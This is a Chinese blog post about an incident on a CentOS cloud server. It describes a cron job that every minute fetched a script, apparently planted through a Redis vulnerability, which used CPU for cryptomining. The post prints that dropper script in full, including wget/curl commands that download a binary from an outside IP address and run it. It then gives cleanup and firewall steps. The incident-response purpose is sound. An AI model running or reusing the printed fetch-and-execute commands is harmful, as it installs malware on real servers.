2016-10-27
开发服务器病毒的一次解决
一:发现问题
早上9点左右,短信告警cpu使用达到100%,ssh连接不上,重启服务器,并没有解决cpu满载的情况,但可以用ssh连上了。
二:解决办法
遇到这种突然的cpu飙升,且用top命令看不到(shift+P)占用cpu特别大的进程,初步怀疑服务器中病毒了并且有可能执行着计划任务
查看计划任务
果然,计划任务显示,它在每分钟执行一个远程名为pm.sh脚本,经查,该ip地址为韩国
获取该脚本,内容如下:
===========================================================
PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
machine=`uname -m`
#echo $machine
cs5="CentOS release 5"
cs6="CentOS release 6"
cs7="CentOS Linux release 7"
ub="Ubuntu"
de="Debian"
downFile(){
cd /var/lib
if [ -x"/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -chttp://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
elif [ -x"/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fshttp://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
fi
}
if [ $machine = "x86_64" ]; then
if [ -f "/etc/issue" ];then
version=`cat /etc/issue`
if [[ $version == $cs5* ]];then
downFile 5
elif [[ $version == $cs6*]]; then
downFile 6
elif [[ $version == $cs7*]]; then
downFile 7
elif [[ $version == $ub* ]];then
downFile ub
elif [[ $version == $de* ]];then
downFile ub
else
if [ -f"/etc/redhat-release" ]; then
release=`cat/etc/redhat-release`
if [[$release == $cs5* ]]; then
downFile 5
elif [[$release == $cs6* ]]; then
downFile 6
elif [[$release == $cs7* ]]; then
downFile 7
fi
fi
fi
fi
fi
=================================================================
由该脚本可以看出,这个计划任务的pm.sh脚本会根据系统版本,生成本地/var/lib/pm文件,并给予该文件以可执行权限。
下面,首先防火墙阻断该ip连接:
iptables -A INPUT -s 101.55.126.66 -j DROP
iptables -A OUTPUT -s 101.55.126.66 -j DROP
由上述可知,用top已经看不到系统真实的cpu使用信息,考虑使用top加强版htop,由于,我们的服务器没有安装htop工具,所以使用了如下命令查看真实的cpu使用信息
ps aux --sort=-%cpu | awk ‘NR==1{print $2,$3,$11}NR>1{if($3!=0.0) print$2,$3,$11}‘
结果如下:
可以看出两个tplink命令的进程已经使用了系统367%的cpu!,这里我选择删除上述的/var/lib/pm文件和/usr/sbin/tplink文件,并且注意这个tplink进程使用pkill是杀不死的。
三:后续问题
虽然cpu问题就此解决,但是其中还是走了很多弯路了,网上所说的挖矿病毒和本案例有很多相似之处,但并不完全相同。另外在也在怀疑到底这个计划任务或者说病毒是怎么传播的本服务器上面来的使用last,history,及查看系统安全日志,并没有发现蛛丝马迹。按照网络上案例,并且由计划任务的名称,可以大致确定病毒的传播应该是由redis的漏洞传播的(参考:http://blog.jobbole.com/94518/连接中有解决方法。)。并且查看了一下本服务器的redis日志,可以看到redis启动还是有warning的,如下
====================================================================
1499:M 27 Oct 09:27:34.368 #WARNING: The TCP backlog setting of 511 cannot be enforced because/proc/sys/net/core/somaxconn is set t
o the lower value of 128.
1499:M 27 Oct 09:27:34.368 #Server started, Redis version 3.0.7
1499:M 27 Oct 09:27:34.368 # WARNINGovercommit_memory is set to 0! Background save may fail under low memorycondition. To fix this
issue add ‘vm.overcommit_memory =1‘ to /etc/sysctl.conf and then reboot or run the command ‘sysctlvm.overcommit_memory=1‘ for this
to take effect.
1499:M 27 Oct 09:27:34.368 #WARNING you have Transparent Huge Pages (THP) support enabled in your kernel.This will create latency a
nd memory usage issues withRedis. To fix this issue run the command ‘echo never >/sys/kernel/mm/transparent_hugepage/enabled‘ as ro
ot, and add it to your/etc/rc.local in order to retain the setting after a reboot. Redis must berestarted after THP is disabled.
=====================================================================
从日志看出,redis还是有问题的存在的,并且日志信息也给出了解决的办法,按解决办法操作即可。
本文出自 “随风” 博客,请务必保留此出处http://358778493.blog.51cto.com/11386071/1866278
阿里云centos服务器cpu使用率100%和redis漏洞问题
原文地址:http://358778493.blog.51cto.com/11386071/1866278